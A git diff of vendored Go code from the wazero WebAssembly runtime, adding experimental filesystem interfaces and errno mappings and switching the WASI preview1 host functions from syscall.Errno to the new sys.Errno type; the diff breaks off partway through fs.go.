a/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_notwindows.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_notwindows.go new file mode 100644 index 0000000000..8a88ed7658 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_notwindows.go @@ -0,0 +1,13 @@ +//go:build !windows + +package sys + +func errorToErrno(err error) Errno { + if errno, ok := err.(Errno); ok { + return errno + } + if errno, ok := syscallToErrno(err); ok { + return errno + } + return EIO +} diff --git a/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_plan9.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_plan9.go new file mode 100644 index 0000000000..0e454f0acb --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_plan9.go @@ -0,0 +1,5 @@ +package sys + +func syscallToErrno(err error) (Errno, bool) { + return 0, false +} diff --git a/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_windows.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_windows.go new file mode 100644 index 0000000000..761a1f9dc2 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_windows.go @@ -0,0 +1,62 @@ +package sys + +import "syscall" + +// These are errors not defined in the syscall package. They are prefixed with +// underscore to avoid exporting them. +// +// See https://learn.microsoft.com/en-us/windows/win32/debug/system-error-codes--0-499- +const ( + // _ERROR_INVALID_HANDLE is a Windows error returned by syscall.Write + // instead of syscall.EBADF + _ERROR_INVALID_HANDLE = syscall.Errno(6) + + // _ERROR_INVALID_NAME is a Windows error returned by open when a file + // path has a trailing slash + _ERROR_INVALID_NAME = syscall.Errno(0x7B) + + // _ERROR_NEGATIVE_SEEK is a Windows error returned by os.Truncate + // instead of syscall.EINVAL + _ERROR_NEGATIVE_SEEK = syscall.Errno(0x83) + + // _ERROR_DIRECTORY is a Windows error returned by syscall.Rmdir + // instead of syscall.ENOTDIR + _ERROR_DIRECTORY = syscall.Errno(0x10B) + + // _ERROR_INVALID_SOCKET is a Windows error returned by winsock_select + // when a given handle is not a socket. + _ERROR_INVALID_SOCKET = syscall.Errno(0x2736) +) + +func errorToErrno(err error) Errno { + switch err := err.(type) { + case Errno: + return err + case syscall.Errno: + // Note: In windows, _ERROR_PATH_NOT_FOUND(0x3) maps to syscall.ENOTDIR + switch err { + case syscall.ERROR_ALREADY_EXISTS: + return EEXIST + case _ERROR_DIRECTORY: + return ENOTDIR + case syscall.ERROR_DIR_NOT_EMPTY: + return ENOTEMPTY + case syscall.ERROR_FILE_EXISTS: + return EEXIST + case _ERROR_INVALID_HANDLE, _ERROR_INVALID_SOCKET: + return EBADF + case syscall.ERROR_ACCESS_DENIED: + // POSIX read and write functions expect EBADF, not EACCES when not + // open for reading or writing. + return EBADF + case syscall.ERROR_PRIVILEGE_NOT_HELD: + return EPERM + case _ERROR_NEGATIVE_SEEK, _ERROR_INVALID_NAME: + return EINVAL + } + errno, _ := syscallToErrno(err) + return errno + default: + return EIO + } +} diff --git a/vendor/github.com/tetratelabs/wazero/experimental/sys/time.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/time.go new file mode 100644 index 0000000000..4f3e01fefb --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/time.go @@ -0,0 +1,10 @@ +package sys + +import "math" + +// UTIME_OMIT is a special constant for use in updating times via FS.Utimens +// or File.Utimens. When used for atim or mtim, the value is retained. +// +// Note: This may be implemented via a stat when the underlying filesystem +// does not support this value. +const UTIME_OMIT int64 = math.MinInt64 diff --git a/vendor/github.com/tetratelabs/wazero/experimental/sys/unimplemented.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/unimplemented.go new file mode 100644 index 0000000000..d853d9e8f4 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/unimplemented.go @@ -0,0 +1,160 @@ +package sys + +import ( + "io/fs" + + "github.com/tetratelabs/wazero/sys" +) + +// UnimplementedFS is an FS that returns ENOSYS for all functions, +// This should be embedded to have forward compatible implementations. +type UnimplementedFS struct{} + +// OpenFile implements FS.OpenFile +func (UnimplementedFS) OpenFile(path string, flag Oflag, perm fs.FileMode) (File, Errno) { + return nil, ENOSYS +} + +// Lstat implements FS.Lstat +func (UnimplementedFS) Lstat(path string) (sys.Stat_t, Errno) { + return sys.Stat_t{}, ENOSYS +} + +// Stat implements FS.Stat +func (UnimplementedFS) Stat(path string) (sys.Stat_t, Errno) { + return sys.Stat_t{}, ENOSYS +} + +// Readlink implements FS.Readlink +func (UnimplementedFS) Readlink(path string) (string, Errno) { + return "", ENOSYS +} + +// Mkdir implements FS.Mkdir +func (UnimplementedFS) Mkdir(path string, perm fs.FileMode) Errno { + return ENOSYS +} + +// Chmod implements FS.Chmod +func (UnimplementedFS) Chmod(path string, perm fs.FileMode) Errno { + return ENOSYS +} + +// Rename implements FS.Rename +func (UnimplementedFS) Rename(from, to string) Errno { + return ENOSYS +} + +// Rmdir implements FS.Rmdir +func (UnimplementedFS) Rmdir(path string) Errno { + return ENOSYS +} + +// Link implements FS.Link +func (UnimplementedFS) Link(_, _ string) Errno { + return ENOSYS +} + +// Symlink implements FS.Symlink +func (UnimplementedFS) Symlink(_, _ string) Errno { + return ENOSYS +} + +// Unlink implements FS.Unlink +func (UnimplementedFS) Unlink(path string) Errno { + return ENOSYS +} + +// Utimens implements FS.Utimens +func (UnimplementedFS) Utimens(path string, atim, mtim int64) Errno { + return ENOSYS +} + +// UnimplementedFile is a File that returns ENOSYS for all functions, +// except where no-op are otherwise documented. +// +// This should be embedded to have forward compatible implementations. +type UnimplementedFile struct{} + +// Dev implements File.Dev +func (UnimplementedFile) Dev() (uint64, Errno) { + return 0, 0 +} + +// Ino implements File.Ino +func (UnimplementedFile) Ino() (sys.Inode, Errno) { + return 0, 0 +} + +// IsDir implements File.IsDir +func (UnimplementedFile) IsDir() (bool, Errno) { + return false, 0 +} + +// IsAppend implements File.IsAppend +func (UnimplementedFile) IsAppend() bool { + return false +} + +// SetAppend implements File.SetAppend +func (UnimplementedFile) SetAppend(bool) Errno { + return ENOSYS +} + +// Stat implements File.Stat +func (UnimplementedFile) Stat() (sys.Stat_t, Errno) { + return sys.Stat_t{}, ENOSYS +} + +// Read implements File.Read +func (UnimplementedFile) Read([]byte) (int, Errno) { + return 0, ENOSYS +} + +// Pread implements File.Pread +func (UnimplementedFile) Pread([]byte, int64) (int, Errno) { + return 0, ENOSYS +} + +// Seek implements File.Seek +func (UnimplementedFile) Seek(int64, int) (int64, Errno) { + return 0, ENOSYS +} + +// Readdir implements File.Readdir +func (UnimplementedFile) Readdir(int) (dirents []Dirent, errno Errno) { + return nil, ENOSYS +} + +// Write implements File.Write +func (UnimplementedFile) Write([]byte) (int, Errno) { + return 0, ENOSYS +} + +// Pwrite implements File.Pwrite +func (UnimplementedFile) Pwrite([]byte, int64) (int, Errno) { + return 0, ENOSYS +} + +// Truncate implements File.Truncate +func (UnimplementedFile) Truncate(int64) Errno { + return ENOSYS +} + +// Sync implements File.Sync +func (UnimplementedFile) Sync() Errno { + return 0 // not ENOSYS +} + +// Datasync implements File.Datasync +func (UnimplementedFile) Datasync() Errno { + return 0 // not ENOSYS +} + +// Utimens implements File.Utimens +func (UnimplementedFile) Utimens(int64, int64) Errno { + return ENOSYS +} + +// Close implements File.Close +func (UnimplementedFile) Close() (errno Errno) { return } diff --git a/vendor/github.com/tetratelabs/wazero/fsconfig.go b/vendor/github.com/tetratelabs/wazero/fsconfig.go index 099a79173d..c28909e19e 100644 --- a/vendor/github.com/tetratelabs/wazero/fsconfig.go +++ b/vendor/github.com/tetratelabs/wazero/fsconfig.go @@ -3,7 +3,8 @@ package wazero import ( "io/fs" - "github.com/tetratelabs/wazero/internal/fsapi" + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" + "github.com/tetratelabs/wazero/internal/sys" "github.com/tetratelabs/wazero/internal/sysfs" ) @@ -30,8 +31,7 @@ import ( // // More notes on `guestPath` // - Go compiled with runtime.GOOS=js do not pay attention to this value. -// Hence, you need to normalize the filesystem with NewRootFS to ensure -// paths requested resolve as expected. +// It only works with root mounts (""). // - Working directories are typically tracked in wasm, though possible some // relative paths are requested. For example, TinyGo may attempt to resolve // a path "../.." in unit tests. @@ -118,12 +118,24 @@ type FSConfig interface { // advise using WithDirMount instead. There will be behavior differences // between os.DirFS and WithDirMount, as the latter biases towards what's // expected from WASI implementations. + // + // # Custom fs.FileInfo + // + // The underlying implementation supports data not usually in fs.FileInfo + // when `info.Sys` returns *sys.Stat_t. For example, a custom fs.FS can use + // this approach to generate or mask sys.Inode data. Such a filesystem + // needs to decorate any functions that can return fs.FileInfo: + // + // - `Stat` as defined on `fs.File` (always) + // - `Readdir` as defined on `os.File` (if defined) + // + // See sys.NewStat_t for examples. WithFSMount(fs fs.FS, guestPath string) FSConfig } type fsConfig struct { // fs are the currently configured filesystems. - fs []fsapi.FS + fs []experimentalsys.FS // guestPaths are the user-supplied names of the filesystems, retained for // error messages and fmt.Stringer. guestPaths []string @@ -140,7 +152,7 @@ func NewFSConfig() FSConfig { // clone makes a deep copy of this module config. func (c *fsConfig) clone() *fsConfig { ret := *c // copy except slice and maps which share a ref - ret.fs = make([]fsapi.FS, 0, len(c.fs)) + ret.fs = make([]experimentalsys.FS, 0, len(c.fs)) ret.fs = append(ret.fs, c.fs...) ret.guestPaths = make([]string, 0, len(c.guestPaths)) ret.guestPaths = append(ret.guestPaths, c.guestPaths...) @@ -153,26 +165,34 @@ func (c *fsConfig) clone() *fsConfig { // WithDirMount implements FSConfig.WithDirMount func (c *fsConfig) WithDirMount(dir, guestPath string) FSConfig { - return c.withMount(sysfs.NewDirFS(dir), guestPath) + return c.WithSysFSMount(sysfs.DirFS(dir), guestPath) } // WithReadOnlyDirMount implements FSConfig.WithReadOnlyDirMount func (c *fsConfig) WithReadOnlyDirMount(dir, guestPath string) FSConfig { - return c.withMount(sysfs.NewReadFS(sysfs.NewDirFS(dir)), guestPath) + return c.WithSysFSMount(&sysfs.ReadFS{FS: sysfs.DirFS(dir)}, guestPath) } // WithFSMount implements FSConfig.WithFSMount func (c *fsConfig) WithFSMount(fs fs.FS, guestPath string) FSConfig { - return c.withMount(sysfs.Adapt(fs), guestPath) + var adapted experimentalsys.FS + if fs != nil { + adapted = &sysfs.AdaptFS{FS: fs} + } + return c.WithSysFSMount(adapted, guestPath) } -func (c *fsConfig) withMount(fs fsapi.FS, guestPath string) FSConfig { - cleaned := sysfs.StripPrefixesAndTrailingSlash(guestPath) +// WithSysFSMount implements sysfs.FSConfig +func (c *fsConfig) WithSysFSMount(fs experimentalsys.FS, guestPath string) FSConfig { + if _, ok := fs.(experimentalsys.UnimplementedFS); ok { + return c // don't add fake paths. + } + cleaned := sys.StripPrefixesAndTrailingSlash(guestPath) ret := c.clone() if i, ok := ret.guestPathToFS[cleaned]; ok { ret.fs[i] = fs ret.guestPaths[i] = guestPath - } else { + } else if fs != nil { ret.guestPathToFS[cleaned] = len(ret.fs) ret.fs = append(ret.fs, fs) ret.guestPaths = append(ret.guestPaths, guestPath) @@ -180,6 +200,16 @@ func (c *fsConfig) withMount(fs fsapi.FS, guestPath string) FSConfig { return ret } -func (c *fsConfig) toFS() (fsapi.FS, error) { - return sysfs.NewRootFS(c.fs, c.guestPaths) +// preopens returns the possible nil index-correlated preopened filesystems +// with guest paths. +func (c *fsConfig) preopens() ([]experimentalsys.FS, []string) { + preopenCount := len(c.fs) + if preopenCount == 0 { + return nil, nil + } + fs := make([]experimentalsys.FS, len(c.fs)) + copy(fs, c.fs) + guestPaths := make([]string, len(c.guestPaths)) + copy(guestPaths, c.guestPaths) + return fs, guestPaths } diff --git a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/args.go b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/args.go index 71b2c41181..4c82e95e24 100644 --- a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/args.go +++ b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/args.go @@ -2,9 +2,9 @@ package wasi_snapshot_preview1 import ( "context" - "syscall" "github.com/tetratelabs/wazero/api" + "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/wasip1" "github.com/tetratelabs/wazero/internal/wasm" ) @@ -23,7 +23,7 @@ import ( // Result (Errno) // // The return value is ErrnoSuccess except the following error conditions: -// - syscall.EFAULT: there is not enough memory to write results +// - sys.EFAULT: there is not enough memory to write results // // For example, if argsSizesGet wrote argc=2 and argvLen=5 for arguments: // "a" and "bc" parameters argv=7 and argvBuf=1, this function writes the below @@ -43,7 +43,7 @@ import ( // See https://en.wikipedia.org/wiki/Null-terminated_string var argsGet = newHostFunc(wasip1.ArgsGetName, argsGetFn, []api.ValueType{i32, i32}, "argv", "argv_buf") -func argsGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func argsGetFn(_ context.Context, mod api.Module, params []uint64) sys.Errno { sysCtx := mod.(*wasm.ModuleInstance).Sys argv, argvBuf := uint32(params[0]), uint32(params[1]) return writeOffsetsAndNullTerminatedValues(mod.Memory(), sysCtx.Args(), argv, argvBuf, sysCtx.ArgsSize()) @@ -61,7 +61,7 @@ func argsGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno // Result (Errno) // // The return value is ErrnoSuccess except the following error conditions: -// - syscall.EFAULT: there is not enough memory to write results +// - sys.EFAULT: there is not enough memory to write results // // For example, if args are "a", "bc" and parameters resultArgc=1 and // resultArgvLen=6, this function writes the below to api.Memory: @@ -80,7 +80,7 @@ func argsGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno // See https://en.wikipedia.org/wiki/Null-terminated_string var argsSizesGet = newHostFunc(wasip1.ArgsSizesGetName, argsSizesGetFn, []api.ValueType{i32, i32}, "result.argc", "result.argv_len") -func argsSizesGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func argsSizesGetFn(_ context.Context, mod api.Module, params []uint64) sys.Errno { sysCtx := mod.(*wasm.ModuleInstance).Sys mem := mod.Memory() resultArgc, resultArgvLen := uint32(params[0]), uint32(params[1]) @@ -88,10 +88,10 @@ func argsSizesGetFn(_ context.Context, mod api.Module, params []uint64) syscall. // argc and argv_len offsets are not necessarily sequential, so we have to // write them independently. if !mem.WriteUint32Le(resultArgc, uint32(len(sysCtx.Args()))) { - return syscall.EFAULT + return sys.EFAULT } if !mem.WriteUint32Le(resultArgvLen, sysCtx.ArgsSize()) { - return syscall.EFAULT + return sys.EFAULT } return 0 } diff --git a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/clock.go b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/clock.go index 6e732a06c7..31af910718 100644 --- a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/clock.go +++ b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/clock.go @@ -2,9 +2,9 @@ package wasi_snapshot_preview1 import ( "context" - "syscall" "github.com/tetratelabs/wazero/api" + "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/wasip1" "github.com/tetratelabs/wazero/internal/wasm" ) @@ -21,9 +21,9 @@ import ( // Result (Errno) // // The return value is 0 except the following error conditions: -// - syscall.ENOTSUP: the clock ID is not supported. -// - syscall.EINVAL: the clock ID is invalid. -// - syscall.EFAULT: there is not enough memory to write results +// - sys.ENOTSUP: the clock ID is not supported. +// - sys.EINVAL: the clock ID is invalid. +// - sys.EFAULT: there is not enough memory to write results // // For example, if the resolution is 100ns, this function writes the below to // api.Memory: @@ -39,7 +39,7 @@ import ( // See https://linux.die.net/man/3/clock_getres var clockResGet = newHostFunc(wasip1.ClockResGetName, clockResGetFn, []api.ValueType{i32, i32}, "id", "result.resolution") -func clockResGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func clockResGetFn(_ context.Context, mod api.Module, params []uint64) sys.Errno { sysCtx := mod.(*wasm.ModuleInstance).Sys id, resultResolution := uint32(params[0]), uint32(params[1]) @@ -50,11 +50,11 @@ func clockResGetFn(_ context.Context, mod api.Module, params []uint64) syscall.E case wasip1.ClockIDMonotonic: resolution = uint64(sysCtx.NanotimeResolution()) default: - return syscall.EINVAL + return sys.EINVAL } if !mod.Memory().WriteUint64Le(resultResolution, resolution) { - return syscall.EFAULT + return sys.EFAULT } return 0 } @@ -73,9 +73,9 @@ func clockResGetFn(_ context.Context, mod api.Module, params []uint64) syscall.E // Result (Errno) // // The return value is 0 except the following error conditions: -// - syscall.ENOTSUP: the clock ID is not supported. -// - syscall.EINVAL: the clock ID is invalid. -// - syscall.EFAULT: there is not enough memory to write results +// - sys.ENOTSUP: the clock ID is not supported. +// - sys.EINVAL: the clock ID is invalid. +// - sys.EFAULT: there is not enough memory to write results // // For example, if time.Now returned exactly midnight UTC 2022-01-01 // (1640995200000000000), and parameters resultTimestamp=1, this function @@ -92,7 +92,7 @@ func clockResGetFn(_ context.Context, mod api.Module, params []uint64) syscall.E // See https://linux.die.net/man/3/clock_gettime var clockTimeGet = newHostFunc(wasip1.ClockTimeGetName, clockTimeGetFn, []api.ValueType{i32, i64, i32}, "id", "precision", "result.timestamp") -func clockTimeGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func clockTimeGetFn(_ context.Context, mod api.Module, params []uint64) sys.Errno { sysCtx := mod.(*wasm.ModuleInstance).Sys id := uint32(params[0]) // TODO: precision is currently ignored. @@ -106,11 +106,11 @@ func clockTimeGetFn(_ context.Context, mod api.Module, params []uint64) syscall. case wasip1.ClockIDMonotonic: val = sysCtx.Nanotime() default: - return syscall.EINVAL + return sys.EINVAL } if !mod.Memory().WriteUint64Le(resultTimestamp, uint64(val)) { - return syscall.EFAULT + return sys.EFAULT } return 0 } diff --git a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/environ.go b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/environ.go index 995f82f2a8..ec8df708a8 100644 --- a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/environ.go +++ b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/environ.go @@ -2,9 +2,9 @@ package wasi_snapshot_preview1 import ( "context" - "syscall" "github.com/tetratelabs/wazero/api" + "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/wasip1" "github.com/tetratelabs/wazero/internal/wasm" ) @@ -24,7 +24,7 @@ import ( // Result (Errno) // // The return value is 0 except the following error conditions: -// - syscall.EFAULT: there is not enough memory to write results +// - sys.EFAULT: there is not enough memory to write results // // For example, if environSizesGet wrote environc=2 and environLen=9 for // environment variables: "a=b", "b=cd" and parameters environ=11 and @@ -43,7 +43,7 @@ import ( // See https://en.wikipedia.org/wiki/Null-terminated_string var environGet = newHostFunc(wasip1.EnvironGetName, environGetFn, []api.ValueType{i32, i32}, "environ", "environ_buf") -func environGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func environGetFn(_ context.Context, mod api.Module, params []uint64) sys.Errno { sysCtx := mod.(*wasm.ModuleInstance).Sys environ, environBuf := uint32(params[0]), uint32(params[1]) @@ -63,7 +63,7 @@ func environGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Er // Result (Errno) // // The return value is 0 except the following error conditions: -// - syscall.EFAULT: there is not enough memory to write results +// - sys.EFAULT: there is not enough memory to write results // // For example, if environ are "a=b","b=cd" and parameters resultEnvironc=1 and // resultEnvironvLen=6, this function writes the below to api.Memory: @@ -83,7 +83,7 @@ func environGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Er // and https://en.wikipedia.org/wiki/Null-terminated_string var environSizesGet = newHostFunc(wasip1.EnvironSizesGetName, environSizesGetFn, []api.ValueType{i32, i32}, "result.environc", "result.environv_len") -func environSizesGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func environSizesGetFn(_ context.Context, mod api.Module, params []uint64) sys.Errno { sysCtx := mod.(*wasm.ModuleInstance).Sys mem := mod.Memory() resultEnvironc, resultEnvironvLen := uint32(params[0]), uint32(params[1]) @@ -91,10 +91,10 @@ func environSizesGetFn(_ context.Context, mod api.Module, params []uint64) sysca // environc and environv_len offsets are not necessarily sequential, so we // have to write them independently. if !mem.WriteUint32Le(resultEnvironc, uint32(len(sysCtx.Environ()))) { - return syscall.EFAULT + return sys.EFAULT } if !mem.WriteUint32Le(resultEnvironvLen, sysCtx.EnvironSize()) { - return syscall.EFAULT + return sys.EFAULT } return 0 } diff --git a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/fs.go b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/fs.go index c87d7699f3..b80c14d7d5 100644 --- a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/fs.go +++ b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/fs.go @@ -11,12 +11,12 @@ import ( "unsafe" "github.com/tetratelabs/wazero/api" - "github.com/tetratelabs/wazero/internal/fsapi" + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" socketapi "github.com/tetratelabs/wazero/internal/sock" "github.com/tetratelabs/wazero/internal/sys" - "github.com/tetratelabs/wazero/internal/sysfs" "github.com/tetratelabs/wazero/internal/wasip1" "github.com/tetratelabs/wazero/internal/wasm" + sysapi "github.com/tetratelabs/wazero/sys" ) // fdAdvise is the WASI function named FdAdviseName which provides file @@ -29,7 +29,7 @@ var fdAdvise = newHostFunc( "fd", "offset", "len", "advice", ) -func fdAdviseFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func fdAdviseFn(_ context.Context, mod api.Module, params []uint64) experimentalsys.Errno { fd := int32(params[0]) _ = params[1] _ = params[2] @@ -38,7 +38,7 @@ func fdAdviseFn(_ context.Context, mod api.Module, params []uint64) syscall.Errn _, ok := fsc.LookupFile(fd) if !ok { - return syscall.EBADF + return experimentalsys.EBADF } switch advice { @@ -49,7 +49,7 @@ func fdAdviseFn(_ context.Context, mod api.Module, params []uint64) syscall.Errn wasip1.FdAdviceDontNeed, wasip1.FdAdviceNoReuse: default: - return syscall.EINVAL + return experimentalsys.EINVAL } // FdAdvice corresponds to posix_fadvise, but it can only be supported on linux. @@ -72,7 +72,7 @@ var fdAllocate = newHostFunc( "fd", "offset", "len", ) -func fdAllocateFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func fdAllocateFn(_ context.Context, mod api.Module, params []uint64) experimentalsys.Errno { fd := int32(params[0]) offset := params[1] length := params[2] @@ -80,12 +80,12 @@ func fdAllocateFn(_ context.Context, mod api.Module, params []uint64) syscall.Er fsc := mod.(*wasm.ModuleInstance).Sys.FS() f, ok := fsc.LookupFile(fd) if !ok { - return syscall.EBADF + return experimentalsys.EBADF } tail := int64(offset + length) if tail < 0 { - return syscall.EINVAL + return experimentalsys.EINVAL } st, errno := f.File.Stat() @@ -110,15 +110,15 @@ func fdAllocateFn(_ context.Context, mod api.Module, params []uint64) syscall.Er // Result (Errno) // // The return value is 0 except the following error conditions: -// - syscall.EBADF: the fd was not open. -// - syscall.ENOTSUP: the fs was a pre-open +// - sys.EBADF: the fd was not open. +// - sys.ENOTSUP: the fs was a pre-open // // Note: This is similar to `close` in POSIX. // See https://github.com/WebAssembly/WASI/blob/main/phases/snapshot/docs.md#fd_close // and https://linux.die.net/man/3/close var fdClose = newHostFunc(wasip1.FdCloseName, fdCloseFn, []api.ValueType{i32}, "fd") -func fdCloseFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func fdCloseFn(_ context.Context, mod api.Module, params []uint64) experimentalsys.Errno { fsc := mod.(*wasm.ModuleInstance).Sys.FS() fd := int32(params[0]) @@ -131,13 +131,13 @@ func fdCloseFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno // See https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-fd_datasyncfd-fd---errno var fdDatasync = newHostFunc(wasip1.FdDatasyncName, fdDatasyncFn, []api.ValueType{i32}, "fd") -func fdDatasyncFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func fdDatasyncFn(_ context.Context, mod api.Module, params []uint64) experimentalsys.Errno { fsc := mod.(*wasm.ModuleInstance).Sys.FS() fd := int32(params[0]) // Check to see if the file descriptor is available if f, ok := fsc.LookupFile(fd); !ok { - return syscall.EBADF + return experimentalsys.EBADF } else { return f.File.Datasync() } @@ -154,8 +154,8 @@ func fdDatasyncFn(_ context.Context, mod api.Module, params []uint64) syscall.Er // Result (Errno) // // The return value is 0 except the following error conditions: -// - syscall.EBADF: `fd` is invalid -// - syscall.EFAULT: `resultFdstat` points to an offset out of memory +// - sys.EBADF: `fd` is invalid +// - sys.EFAULT: `resultFdstat` points to an offset out of memory // // fdstat byte layout is 24-byte size, with the following fields: // - fs_filetype 1 byte: the file type @@ -184,7 +184,7 @@ var fdFdstatGet = newHostFunc(wasip1.FdFdstatGetName, fdFdstatGetFn, []api.Value // fdFdstatGetFn cannot currently use proxyResultParams because fdstat is larger // than api.ValueTypeI64 (i64 == 8 bytes, but fdstat is 24). -func fdFdstatGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func fdFdstatGetFn(_ context.Context, mod api.Module, params []uint64) experimentalsys.Errno { fsc := mod.(*wasm.ModuleInstance).Sys.FS() fd, resultFdstat := int32(params[0]), uint32(params[1]) @@ -192,15 +192,15 @@ func fdFdstatGetFn(_ context.Context, mod api.Module, params []uint64) syscall.E // Ensure we can write the fdstat buf, ok := mod.Memory().Read(resultFdstat, 24) if !ok { - return syscall.EFAULT + return experimentalsys.EFAULT } var fdflags uint16 - var st fsapi.Stat_t - var errno syscall.Errno + var st sysapi.Stat_t + var errno experimentalsys.Errno f, ok := fsc.LookupFile(fd) if !ok { - return syscall.EBADF + return experimentalsys.EBADF } else if st, errno = f.File.Stat(); errno != 0 { return errno } else if f.File.IsAppend() { @@ -299,17 +299,17 @@ func writeFdstat(buf []byte, fileType uint8, fdflags uint16, fsRightsBase, fsRig // adjusts the flags associated with a file descriptor. var fdFdstatSetFlags = newHostFunc(wasip1.FdFdstatSetFlagsName, fdFdstatSetFlagsFn, []wasm.ValueType{i32, i32}, "fd", "flags") -func fdFdstatSetFlagsFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func fdFdstatSetFlagsFn(_ context.Context, mod api.Module, params []uint64) experimentalsys.Errno { fd, wasiFlag := int32(params[0]), uint16(params[1]) fsc := mod.(*wasm.ModuleInstance).Sys.FS() // Currently we only support APPEND and NONBLOCK. if wasip1.FD_DSYNC&wasiFlag != 0 || wasip1.FD_RSYNC&wasiFlag != 0 || wasip1.FD_SYNC&wasiFlag != 0 { - return syscall.EINVAL + return experimentalsys.EINVAL } if f, ok := fsc.LookupFile(fd); !ok { - return syscall.EBADF + return experimentalsys.EBADF } else { nonblock := wasip1.FD_NONBLOCK&wasiFlag != 0 errno := f.File.SetNonblock(nonblock) @@ -346,9 +346,9 @@ var fdFdstatSetRights = stubFunction( // Result (Errno) // // The return value is 0 except the following error conditions: -// - syscall.EBADF: `fd` is invalid -// - syscall.EIO: could not stat `fd` on filesystem -// - syscall.EFAULT: `resultFilestat` points to an offset out of memory +// - sys.EBADF: `fd` is invalid +// - sys.EIO: could not stat `fd` on filesystem +// - sys.EFAULT: `resultFilestat` points to an offset out of memory // // filestat byte layout is 64-byte size, with the following fields: // - dev 8 bytes: the device ID of device containing the file @@ -386,22 +386,22 @@ var fdFilestatGet = newHostFunc(wasip1.FdFilestatGetName, fdFilestatGetFn, []api // fdFilestatGetFn cannot currently use proxyResultParams because filestat is // larger than api.ValueTypeI64 (i64 == 8 bytes, but filestat is 64). -func fdFilestatGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func fdFilestatGetFn(_ context.Context, mod api.Module, params []uint64) experimentalsys.Errno { return fdFilestatGetFunc(mod, int32(params[0]), uint32(params[1])) } -func fdFilestatGetFunc(mod api.Module, fd int32, resultBuf uint32) syscall.Errno { +func fdFilestatGetFunc(mod api.Module, fd int32, resultBuf uint32) experimentalsys.Errno { fsc := mod.(*wasm.ModuleInstance).Sys.FS() // Ensure we can write the filestat buf, ok := mod.Memory().Read(resultBuf, 64) if !ok { - return syscall.EFAULT + return experimentalsys.EFAULT } f, ok := fsc.LookupFile(fd) if !ok { - return syscall.EBADF + return experimentalsys.EBADF } st, errno := f.File.Stat() @@ -413,7 +413,7 @@ func fdFilestatGetFunc(mod api.Module, fd int32, resultBuf uint32) syscall.Errno return writeFilestat(buf, &st, filetype) } -func getExtendedWasiFiletype(file fsapi.File, fm fs.FileMode) (ftype uint8) { +func getExtendedWasiFiletype(file experimentalsys.File, fm fs.FileMode) (ftype uint8) { ftype = getWasiFiletype(fm) if ftype == wasip1.FILETYPE_UNKNOWN { if _, ok := file.(socketapi.TCPSock); ok { @@ -445,7 +445,7 @@ func getWasiFiletype(fm fs.FileMode) uint8 { } } -func writeFilestat(buf []byte, st *fsapi.Stat_t, ftype uint8) (errno syscall.Errno) { +func writeFilestat(buf []byte, st *sysapi.Stat_t, ftype uint8) (errno experimentalsys.Errno) { le.PutUint64(buf, st.Dev) le.PutUint64(buf[8:], st.Ino) le.PutUint64(buf[16:], uint64(ftype)) @@ -463,7 +463,7 @@ func writeFilestat(buf []byte, st *fsapi.Stat_t, ftype uint8) (errno syscall.Err // See https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-fd_filestat_set_sizefd-fd-size-filesize---errno var fdFilestatSetSize = newHostFunc(wasip1.FdFilestatSetSizeName, fdFilestatSetSizeFn, 